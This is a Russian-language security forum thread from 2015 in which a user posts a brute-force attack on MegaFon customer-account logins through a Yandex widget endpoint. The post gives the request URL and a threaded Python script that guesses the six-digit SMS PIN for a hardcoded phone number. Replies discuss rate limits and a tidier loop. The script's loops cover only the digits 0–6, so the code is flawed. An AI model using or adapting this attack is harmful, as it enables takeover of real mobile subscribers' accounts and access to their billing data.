HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.08.2015, 01:40
w0rm_
Новичок
Регистрация: 19.08.2015
Сообщений: 11
Провел на форуме:
4367

Репутация: 8
По умолчанию

Брут пароля к lk.megafon через Yandex wiget

Код:
*.megafon.ru/WIDGET_INFO/GET_INFO?X_Username=&X_Password=&CHANNEL=WYANDEX&LANG_ID=0&P_RATE_PLAN_POS=1&P_PAYMENT_POS=2&P_ADD_SERV_POS=4&P_DISCOUNT_POS=3
X_Username=*mobile_phone*

X_Password=*PIN_via_sms* - всегда 6 цифр

*.megafon.ru - регион, 'uralsg' для примера

Ajax.callback["ERROR"] - false

в позитивном исходе - выводится табличка с деталями пополнения счета , теперь со значением из X_Password= можно авторизаватся в lk.megafon.ru

генирация или сброс установленного полноразмерного пароля https://*.megafon.ru/

python3

Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from threading import Thread
import requests
import sys
from queue import Queue

url = 'https://uralsg.megafon.ru/WIDGET_INFO/GET_INFO?X_Username=9222455455&X_Password=%s&CHANNEL=WYANDEX&LANG_ID=0&P_RATE_PLAN_POS=1&P_PAYMENT_POS=2&P_ADD_SERV_POS=4&P_DISCOUNT_POS=3'
concurrent = 200

def doWork():
    while True:
        password = q.get()
        getStatus(password)
        q.task_done()

def getStatus(password):
    try:
        r = requests.get(url % password)
        if not('Wrong password' in r.text):
            print('PIN found: %s' % password)
            sys.exit(1)
    except:
        pass

q = Queue(concurrent * 2)
for i in range(concurrent):
    t = Thread(target=doWork)
    t.daemon = True
    t.start()
try:
    for a in range(7):
        for b in range(7):
            for c in range(7):
                for d in range(7):
                    for e in range(7):
                        for f in range(7):
                            q.put('{}{}{}{}{}{}'.format(a, b, c, d, e, f))
    q.join()
except KeyboardInterrupt:
    sys.exit(1)
 
Ответить с цитированием

  #2  
Старый 20.08.2015, 21:02
Rac00n
Новичок
Регистрация: 13.08.2015
Сообщений: 5
Провел на форуме:
1451

Репутация: 0
По умолчанию

А на вход разве не ограничено количество попыток?
 
Ответить с цитированием

  #3  
Старый 20.08.2015, 21:08
1qoot1
Познающий
Регистрация: 13.01.2014
Сообщений: 48
Провел на форуме:
17015

Репутация: 1
По умолчанию

Странно, что слито в паблик...
 
Ответить с цитированием

  #4  
Старый 20.08.2015, 22:39
i~DOS
Новичок
Регистрация: 26.03.2009
Сообщений: 5
Провел на форуме:
183647

Репутация: 13
По умолчанию

Цитата:
Сообщение от w0rm_  

Брут пароля к lk.megafon через Yandex wiget
Код:
try:
    for a in range(7):
        for b in range(7):
            for c in range(7):
                for d in range(7):
                    for e in range(7):
                        for f in range(7):
                            q.put('{}{}{}{}{}{}'.format(a, b, c, d, e, f))
Жесть какая, можно сделать так:

Код:
for i in map(lambda x: format(x, 'o'), range(0o666667)):
    q.put(i)
200 потоков - тоже жесть, интерпретатор задохнется от блокировок.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.